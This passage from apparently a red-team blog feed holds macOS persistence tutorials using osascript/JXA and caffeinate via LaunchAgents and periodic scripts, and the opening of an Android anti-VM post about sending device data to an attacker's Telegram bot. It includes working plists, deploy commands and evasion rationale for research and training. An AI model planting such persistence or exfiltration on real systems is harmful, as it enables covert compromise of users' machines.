<p>Same plist structure as <a href="/macos/2026/01/05/malware-mac-persistence-1.html">persistence part 1</a>, but <code class="language-plaintext highlighter-rouge">/usr/bin/osascript</code> is the first entry in <code class="language-plaintext highlighter-rouge">ProgramArguments</code>.</p>

<p>There is an important caveat here. The AppleScript <code class="language-plaintext highlighter-rouge">do shell script</code> verb requires access to the Aqua session (window server). When <code class="language-plaintext highlighter-rouge">launchd</code> loads a <code class="language-plaintext highlighter-rouge">LaunchAgent</code>, it may not have that session available yet, so <code class="language-plaintext highlighter-rouge">do shell script</code> returns an <strong>input/output error</strong>:</p>

<p><img src="/assets/images/202/2026-04-29_19-56.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/202/2026-04-29_19-58.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/202/2026-04-29_19-59.png" alt="malware" class="img-responsive" /></p>

<p>In my case this only works for <code class="language-plaintext highlighter-rouge">macOS Monterey</code>, not works for <code class="language-plaintext highlighter-rouge">macOS Sonoma</code> in my case….</p>

<p>For fix this I tried to switch from AppleScript to <strong>JXA (JavaScript for Automation)</strong> and use <code class="language-plaintext highlighter-rouge">NSTask</code> directly - it speaks to the OS kernel, not the GUI layer, and works reliably in non-interactive launchd contexts.</p>

<p><code class="language-plaintext highlighter-rouge">meow.plist</code>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.malware.meow<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/usr/bin/osascript<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>-l<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>JavaScript<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>-e<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>ObjC.import('Foundation');var t=$.NSTask.alloc.init;t.launchPath='/Users/Shared/hack';t.arguments=[];t.launch;t.waitUntilExit;<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
    <span class="nt">&lt;key&gt;</span>KeepAlive<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">-l JavaScript</code> flag switches osascript to JXA mode. <code class="language-plaintext highlighter-rouge">NSTask</code> launches our binary as a child process and <code class="language-plaintext highlighter-rouge">waitUntilExit</code> keeps osascript alive until it finishes - since <code class="language-plaintext highlighter-rouge">hack</code> loops forever, osascript stays resident. <code class="language-plaintext highlighter-rouge">KeepAlive</code> makes launchd restart the whole chain if either process dies.</p>

<h3 id="demo-2">demo 2</h3>

<p>Deploy the plist:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> ~/Library/LaunchAgents
<span class="nb">cp </span>meow.plist ~/Library/LaunchAgents/com.malware.meow.plist
launchctl load ~/Library/LaunchAgents/com.malware.meow.plist
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-30_06-03.png" alt="malware" class="img-responsive" /></p>

<p>Not works!</p>

<p>On <strong>Sonoma</strong>, <code class="language-plaintext highlighter-rouge">launchctl load</code> is deprecated and returns an input/output error. Try to use <code class="language-plaintext highlighter-rouge">bootstrap</code> instead:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl bootstrap gui/<span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span> ~/Library/LaunchAgents/com.malware.meow.plist
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-30_06-05.png" alt="malware" class="img-responsive" /></p>

<p>Also not works!</p>

<p>Check the log:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /tmp/meow.txt
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-30_06-09.png" alt="malware" class="img-responsive" /></p>

<p>As you can see, everything works perfectly only for first example as expected. Let’s try to combine another persistence trick for survives across sessions. =^..^=</p>

<p>For the purity of experiment, unload cleanly:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl bootout gui/<span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span> ~/Library/LaunchAgents/com.malware.meow.plist
</code></pre></div></div>

<h3 id="practical-example-3-osascript--periodic-script">practical example 3: osascript + periodic script</h3>

<p>Since the LaunchAgent approach has session limitations on Sonoma, let’s combine osascript with the <code class="language-plaintext highlighter-rouge">periodic</code> system - already explored in <a href="/macos/2026/04/02/mac-malware-persistence-8.html">persistence part 8</a>. The periodic script runs as <code class="language-plaintext highlighter-rouge">root</code> in a proper shell context, and we call osascript from inside it. <code class="language-plaintext highlighter-rouge">do shell script</code> still requires the Aqua session, so we keep the <strong>JXA + NSTask</strong> approach - it works in any shell context regardless of GUI availability.</p>

<p>The wrapper script (<code class="language-plaintext highlighter-rouge">999.meow</code>):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>
<span class="c"># 999.meow</span>
<span class="c"># osascript LOLBin via periodic - runs hack through JXA NSTask</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-x</span> /Users/Shared/hack <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
    /usr/bin/osascript <span class="nt">-l</span> JavaScript <span class="nt">-e</span> <span class="se">\</span>
        <span class="s1">'ObjC.import("Foundation");var t=$.NSTask.alloc.init;t.launchPath="/Users/Shared/hack";t.arguments=[];t.launch;t.waitUntilExit;'</span>
<span class="k">fi</span>
</code></pre></div></div>

<p>Inside single quotes <code class="language-plaintext highlighter-rouge">$</code> is literal, so no shell escaping needed for the ObjC bridge prefix.</p>

<h3 id="demo-3">demo 3</h3>

<p>Deploy the script:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo cp </span>999.meow /etc/periodic/daily/
<span class="nb">sudo chmod</span> +x /etc/periodic/daily/999.meow
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-30_06-29.png" alt="malware" class="img-responsive" /></p>

<p>Trigger manually without waiting until 03:15 AM:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>periodic daily
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-30_06-31.png" alt="malware" class="img-responsive" /></p>

<p>Check the log:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /tmp/meow.txt
</code></pre></div></div>

<p><img src="/assets/images/202/2026-04-30_06-33.png" alt="malware" class="img-responsive" /></p>

<p>It works!</p>

<p>The <code class="language-plaintext highlighter-rouge">ppid</code> in the log is osascript’s PID - our C binary was launched through the LOLBin chain: <code class="language-plaintext highlighter-rouge">periodic -&gt;&gt; /bin/sh -&gt;&gt; osascript (JXA) -&gt;&gt; hack</code>. =^..^=</p>

<p><code class="language-plaintext highlighter-rouge">osascript</code> is fully Apple-signed and present on <strong>Monterey and Sonoma</strong> - no legacy caveats here, unlike <code class="language-plaintext highlighter-rouge">emond</code> or <code class="language-plaintext highlighter-rouge">periodic</code> alone.</p>

<p>I hope this post is useful for malware R&amp;D and red teaming labs, Apple/Mac researchers, and blue team specialists.</p>

<p><a href="https://attack.mitre.org/groups/G0050">APT32</a>  <br />
<a href="/macos/2025/06/12/malware-mac-1.html">macOS hacking part 1</a> <br />
<a href="/macos/2026/01/05/malware-mac-persistence-1.html">macOS persistence part 1</a>  <br />
<a href="/macos/2026/04/23/mac-malware-persistence-10.html">macOS persistence part 10</a>  <br />
<a href="https://github.com/cocomelonc/meow/tree/master/2026-04-27-malware-mac-persistence-11">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="macos" /><category term="red team" /><category term="persistence" /><category term="malware" /><category term="macos" /><category term="osascript" /><category term="lolbin" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">MacOS malware persistence 10: caffeinate LOLBin. Simple C example</title><link href="https://cocomelonc.github.io/macos/2026/04/23/mac-malware-persistence-10.html" rel="alternate" type="text/html" title="MacOS malware persistence 10: caffeinate LOLBin. Simple C example" /><published>2026-04-23T00:00:00+00:00</published><updated>2026-04-23T00:00:00+00:00</updated><id>https://cocomelonc.github.io/macos/2026/04/23/mac-malware-persistence-10</id><content type="html" xml:base="https://cocomelonc.github.io/macos/2026/04/23/mac-malware-persistence-10.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/201/2026-04-23_17-55.png" alt="malware" class="img-responsive" /></p>

<p>This post continues the macOS malware persistence series. Today we look at an overlooked LOLBin (<code class="language-plaintext highlighter-rouge">Living Off the Land Binary</code>) trick: abusing the built-in <code class="language-plaintext highlighter-rouge">caffeinate</code> utility to wrap a malicious payload and keep it alive.</p>

<h3 id="caffeinate">caffeinate</h3>

<p><code class="language-plaintext highlighter-rouge">caffeinate</code> ships with every macOS since <strong>OS X 10.8 Mountain Lion</strong> and lives at <code class="language-plaintext highlighter-rouge">/usr/bin/caffeinate</code>. Its job is to hold a power management assertion so the system does not sleep - commonly used by developers and sysadmins to keep a Mac awake during long downloads, builds, or backups.</p>

<p>Check it is present on our Sonoma or Monterey VM:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>which caffeinate
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-33.png" alt="malware" class="img-responsive" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-la</span> /usr/bin/caffeinate
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-34.png" alt="malware" class="img-responsive" /></p>

<p>Confirm it is Apple-signed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-dv</span> /usr/bin/caffeinate 2&gt;&amp;1
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-35.png" alt="malware" class="img-responsive" /></p>

<p>Man page:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>man caffeinate
</code></pre></div></div>

<p>Quick flag reference:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-d</span>   prevent display <span class="nb">sleep</span>
<span class="nt">-i</span>   prevent idle <span class="nb">sleep</span>
<span class="nt">-s</span>   prevent system <span class="nb">sleep</span> <span class="o">(</span>AC power<span class="o">)</span>
<span class="nt">-w</span> &lt;PID&gt;   hold assertion <span class="k">until </span>that PID exits
caffeinate &lt;cmd&gt;   run cmd and prevent <span class="nb">sleep </span><span class="k">while </span>it runs
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-36.png" alt="malware" class="img-responsive" /></p>

<p>The key property for us: <code class="language-plaintext highlighter-rouge">caffeinate -i &lt;program&gt;</code> <strong>spawns our binary as a child process</strong> and holds the sleep assertion for as long as that child is alive. <code class="language-plaintext highlighter-rouge">ps aux</code> shows <code class="language-plaintext highlighter-rouge">/usr/bin/caffeinate</code> as the parent - a fully Apple-signed, completely legitimate binary.</p>

<h3 id="practical-example">practical example</h3>

<p>First, let’s write a simple C “malware” loop. Same idea as in <a href="/macos/2026/01/05/malware-mac-persistence-1.html">persistence part 1</a> - write proof of execution to a log file every 10 seconds. We also print the <code class="language-plaintext highlighter-rouge">ppid</code> so we can confirm caffeinate is the parent (<code class="language-plaintext highlighter-rouge">hack.c</code>):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * hack.c
 * caffeinate LOLBin persistence PoC
 * author: @cocomelonc
 * https://cocomelonc.github.io/macos/2026/04/23/mac-malware-persistence-10.html
 */</span>
<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">log_path</span> <span class="o">=</span> <span class="s">"/tmp/meow.txt"</span><span class="p">;</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span><span class="p">;</span>

  <span class="k">for</span> <span class="p">(;;)</span> <span class="p">{</span>
    <span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">log_path</span><span class="p">,</span> <span class="s">"a"</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
      <span class="kt">time_t</span> <span class="n">now</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"[=^..^=] meow! caffeinate persistence triggered.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"timestamp: %s"</span><span class="p">,</span> <span class="n">ctime</span><span class="p">(</span><span class="o">&amp;</span><span class="n">now</span><span class="p">));</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"pid: %d, uid: %d, ppid: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
              <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">getpid</span><span class="p">(),</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">getuid</span><span class="p">(),</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">getppid</span><span class="p">());</span>
      <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"-------------------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
      <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">sleep</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="demo-1-pure-caffeinate">demo 1: pure caffeinate</h3>

<p>Let’s see this technique in action. Compile our malware:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang <span class="nt">-o</span> /Users/Shared/hack hack.c
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-42.png" alt="malware" class="img-responsive" /></p>

<p>The simplest form - wrap the binary directly in caffeinate and background it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>caffeinate <span class="nt">-i</span> /Users/Shared/hack &amp;
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-43.png" alt="malware" class="img-responsive" /></p>

<p>Confirm the parent-child relationship:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps aux | <span class="nb">grep </span>caffeinate
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-44.png" alt="malware" class="img-responsive" /></p>

<p>Check the log:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /tmp/meow.txt
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-45.png" alt="malware" class="img-responsive" /></p>

<p>The <code class="language-plaintext highlighter-rouge">ppid</code> in the log matches the caffeinate <code class="language-plaintext highlighter-rouge">PID</code> from <code class="language-plaintext highlighter-rouge">ps aux</code>. =^..^=</p>

<p>Note that in this form, the process does not survive a logout. This is the “live session” variant - useful for post-exploitation to keep a beacon alive without installing anything. For true persistence we need example 2.</p>

<h3 id="practical-example-2-caffeinate--launchagents">practical example 2: caffeinate + LaunchAgents</h3>

<p>Same approach as <a href="/macos/2026/01/05/malware-mac-persistence-1.html">persistence part 1</a>, but we put <code class="language-plaintext highlighter-rouge">caffeinate</code> as the first entry in <code class="language-plaintext highlighter-rouge">ProgramArguments</code> so launchd runs our binary through caffeinate. <code class="language-plaintext highlighter-rouge">meow.plist</code>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.malware.meow<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/usr/bin/caffeinate<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>-i<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>/Users/Shared/hack<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
    <span class="nt">&lt;key&gt;</span>KeepAlive<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">KeepAlive</code> makes launchd restart the whole caffeinate+hack chain if either process dies.</p>

<h3 id="demo-2">demo 2</h3>

<p>Add our plist to LaunchAgents:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> <span class="nt">-p</span> ~/Library/LaunchAgents
<span class="nb">cp </span>meow.plist ~/Library/LaunchAgents/com.malware.meow.plist
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-49.png" alt="malware" class="img-responsive" /></p>

<p>Load it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl load ~/Library/LaunchAgents/com.malware.meow.plist
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-50.png" alt="malware" class="img-responsive" /></p>

<p>Confirm the service is running:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>launchctl list | <span class="nb">grep </span>meow
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-50.png" alt="malware" class="img-responsive" /></p>

<p>Check the log file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /tmp/meow.txt
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_17-51.png" alt="malware" class="img-responsive" /></p>

<p>As you can see, everything works perfectly as expected. The <code class="language-plaintext highlighter-rouge">ppid</code> in the log is caffeinate’s <code class="language-plaintext highlighter-rouge">PID</code>. Logout and login again - a fresh set of entries with a new <code class="language-plaintext highlighter-rouge">pid</code>/<code class="language-plaintext highlighter-rouge">ppid</code> pair will appear, proving the persistence survives across sessions. =^..^=</p>

<p><code class="language-plaintext highlighter-rouge">caffeinate</code> is a fully Apple-signed binary present on <strong>Monterey and Sonoma</strong> - no legacy caveats here, unlike <code class="language-plaintext highlighter-rouge">emond</code> or <code class="language-plaintext highlighter-rouge">periodic</code>.</p>

<p>Also perfectly works on my ARM MacBook Air:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">uname</span> <span class="nt">-a</span>
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_21-59.png" alt="malware" class="img-responsive" /></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-dv</span> /usr/bin/caffeinate 2&gt;&amp;1
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_21-53.png" alt="malware" class="img-responsive" /></p>

<p>Compile and run:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang <span class="nt">-o</span> /Users/Shared/hack hack.c
caffeinate <span class="nt">-i</span> /Users/Shared/hack
</code></pre></div></div>

<p><img src="/assets/images/201/2026-04-23_21-55.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/201/2026-04-23_21-56.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/201/2026-04-23_21-57.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/201/2026-04-23_21-57_1.png" alt="malware" class="img-responsive" /></p>

<p>I hope this post is useful for malware R&amp;D and red teaming labs, Apple/Mac researchers, and blue team specialists.</p>

<p><a href="/macos/2025/06/12/malware-mac-1.html">macOS hacking part 1</a>  <br />
<a href="/macos/2026/01/05/malware-mac-persistence-1.html">macOS persistence part 1</a>  <br />
<a href="/macos/2026/04/02/mac-malware-persistence-9.html">macOS persistence part 9</a>   <br />
<a href="https://github.com/cocomelonc/meow/tree/master/2026-04-23-malware-mac-persistence-10">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="macos" /><category term="red team" /><category term="persistence" /><category term="malware" /><category term="macos" /><category term="caffeinate" /><category term="lolbin" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">Mobile malware development trick 3. CPU info logger: anti-VM and anti-sandbox. Simple Android (Kotlin) example.</title><link href="https://cocomelonc.github.io/android/2026/04/12/malware-android-3.html" rel="alternate" type="text/html" title="Mobile malware development trick 3. CPU info logger: anti-VM and anti-sandbox. Simple Android (Kotlin) example." /><published>2026-04-12T00:00:00+00:00</published><updated>2026-04-12T00:00:00+00:00</updated><id>https://cocomelonc.github.io/android/2026/04/12/malware-android-3</id><content type="html" xml:base="https://cocomelonc.github.io/android/2026/04/12/malware-android-3.html"><![CDATA[<p>﷽</p>

<p><img src="/assets/images/200/2026-04-13_21-44.png" alt="malware" class="img-responsive" /></p>

<p>This post is based on a section from my <a href="https://github.com/cocomelonc/bsprishtina-2024-maldev-workshop/">BSides Prishtina 2024 Malware Development Workshop</a>, decided to add this to my blog so that everything would be in one place.</p>

<p>In this post we will look at how Android malware can collect CPU information from a device to perform <em>anti-VM</em> and <em>anti-sandbox</em> checks. We will build a simple proof-of-concept Android app in Kotlin that reads <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code>, collects hardware build metadata via the <code class="language-plaintext highlighter-rouge">android.os.Build</code> API, and exfiltrates everything to an attacker-controlled Telegram bot via <code class="language-plaintext highlighter-rouge">OkHttp</code>.</p>

<p>If you pay attention to hardware name in the first post about the Android stealer, you can find something like the following:</p>

<p><img src="/assets/images/200/2026-04-13_21-17.png" alt="malware" class="img-responsive" /></p>

<p>When security researchers analyse a suspicious Android app they usually run it inside a sandbox or an emulator. Tools like <a href="https://any.run">ANY.RUN</a> or the standard Android Virtual Device (<code class="language-plaintext highlighter-rouge">AVD</code>) simulate a real phone. The problem for the malware author is that an emulator is not a real phone and it is surprisingly easy to tell the difference from inside the app.</p>

<p>The Android kernel exposes <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> - on a real phone you see something like <code class="language-plaintext highlighter-rouge">Cortex-A78</code>, but on an emulator you almost always see <code class="language-plaintext highlighter-rouge">QEMU Virtual CPU</code> or the hardware name <code class="language-plaintext highlighter-rouge">Goldfish</code>, which is the code name Google uses for its emulator chip. Beyond <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code>, the <code class="language-plaintext highlighter-rouge">android.os.Build</code> constants are also full of placeholder strings like <code class="language-plaintext highlighter-rouge">generic</code>, <code class="language-plaintext highlighter-rouge">android-build</code>, or <code class="language-plaintext highlighter-rouge">sdk_gphone64_x86_64</code> that would never appear on a retail device. Malware can read all of this without asking for a single dangerous permission.</p>

<h3 id="practical-example">practical example</h3>

<p>Let’s create a simple CPU information logger app (Android).</p>

<p>Our project structure (<code class="language-plaintext highlighter-rouge">HackCpu</code>):</p>

<p><img src="/assets/images/200/2026-04-13_21-22.png" alt="malware" class="img-responsive" /></p>

<p>The app only needs <code class="language-plaintext highlighter-rouge">INTERNET</code> permission (for Telegram API connection). Reading <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> and the <code class="language-plaintext highlighter-rouge">Build</code> constants does not require any runtime permission at all:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="utf-8"?&gt;</span>
<span class="nt">&lt;manifest</span> <span class="na">xmlns:android=</span><span class="s">"http://schemas.android.com/apk/res/android"</span>
    <span class="na">xmlns:tools=</span><span class="s">"http://schemas.android.com/tools"</span><span class="nt">&gt;</span>

    <span class="nt">&lt;uses-feature</span>
        <span class="na">android:name=</span><span class="s">"android.hardware.telephony"</span>
        <span class="na">android:required=</span><span class="s">"false"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;uses-permission</span> <span class="na">android:name=</span><span class="s">"android.permission.INTERNET"</span><span class="nt">/&gt;</span>

    <span class="nt">&lt;application</span>
        <span class="na">android:allowBackup=</span><span class="s">"true"</span>
        <span class="na">android:dataExtractionRules=</span><span class="s">"@xml/data_extraction_rules"</span>
        <span class="na">android:fullBackupContent=</span><span class="s">"@xml/backup_rules"</span>
        <span class="na">android:icon=</span><span class="s">"@drawable/cat"</span>
        <span class="na">android:label=</span><span class="s">"@string/app_name"</span>
        <span class="na">android:roundIcon=</span><span class="s">"@drawable/cat"</span>
        <span class="na">android:supportsRtl=</span><span class="s">"true"</span>
        <span class="na">android:theme=</span><span class="s">"@style/Theme.Hack"</span>
        <span class="na">tools:targetApi=</span><span class="s">"31"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;activity</span>
            <span class="na">android:name=</span><span class="s">".HackMainActivity"</span>
            <span class="na">android:exported=</span><span class="s">"true"</span>
            <span class="na">android:theme=</span><span class="s">"@style/Theme.Hack"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;intent-filter&gt;</span>
                <span class="nt">&lt;action</span> <span class="na">android:name=</span><span class="s">"android.intent.action.MAIN"</span> <span class="nt">/&gt;</span>
                <span class="nt">&lt;category</span> <span class="na">android:name=</span><span class="s">"android.intent.category.LAUNCHER"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;/intent-filter&gt;</span>
        <span class="nt">&lt;/activity&gt;</span>
    <span class="nt">&lt;/application&gt;</span>

<span class="nt">&lt;/manifest&gt;</span>
</code></pre></div></div>

<p>Then ensure you have the <code class="language-plaintext highlighter-rouge">OkHttp</code> dependency in your <code class="language-plaintext highlighter-rouge">build.gradle</code>:</p>

<div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">implementation</span> <span class="s1">'com.squareup.okhttp3:okhttp:4.11.0'</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">HackMainActivity</code> is minimal. The key detail is that <code class="language-plaintext highlighter-rouge">logcpuinfo()</code> and <code class="language-plaintext highlighter-rouge">sendTextMessage()</code> are called inside <code class="language-plaintext highlighter-rouge">onCreate</code>, so they run the moment the app starts - before the user touches anything:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="nn">cocomelonc.hackcpu</span>

<span class="k">import</span> <span class="nn">android.os.Bundle</span>
<span class="k">import</span> <span class="nn">androidx.activity.ComponentActivity</span>
<span class="k">import</span> <span class="nn">android.widget.Button</span>
<span class="k">import</span> <span class="nn">android.widget.Toast</span>

<span class="kd">class</span> <span class="nc">HackMainActivity</span> <span class="p">:</span> <span class="nc">ComponentActivity</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">private</span> <span class="k">lateinit</span> <span class="kd">var</span> <span class="py">meowButton</span><span class="p">:</span> <span class="nc">Button</span>
    <span class="k">override</span> <span class="k">fun</span> <span class="nf">onCreate</span><span class="p">(</span><span class="n">savedInstanceState</span><span class="p">:</span> <span class="nc">Bundle</span><span class="p">?)</span> <span class="p">{</span>
        <span class="k">super</span><span class="p">.</span><span class="nf">onCreate</span><span class="p">(</span><span class="n">savedInstanceState</span><span class="p">)</span>
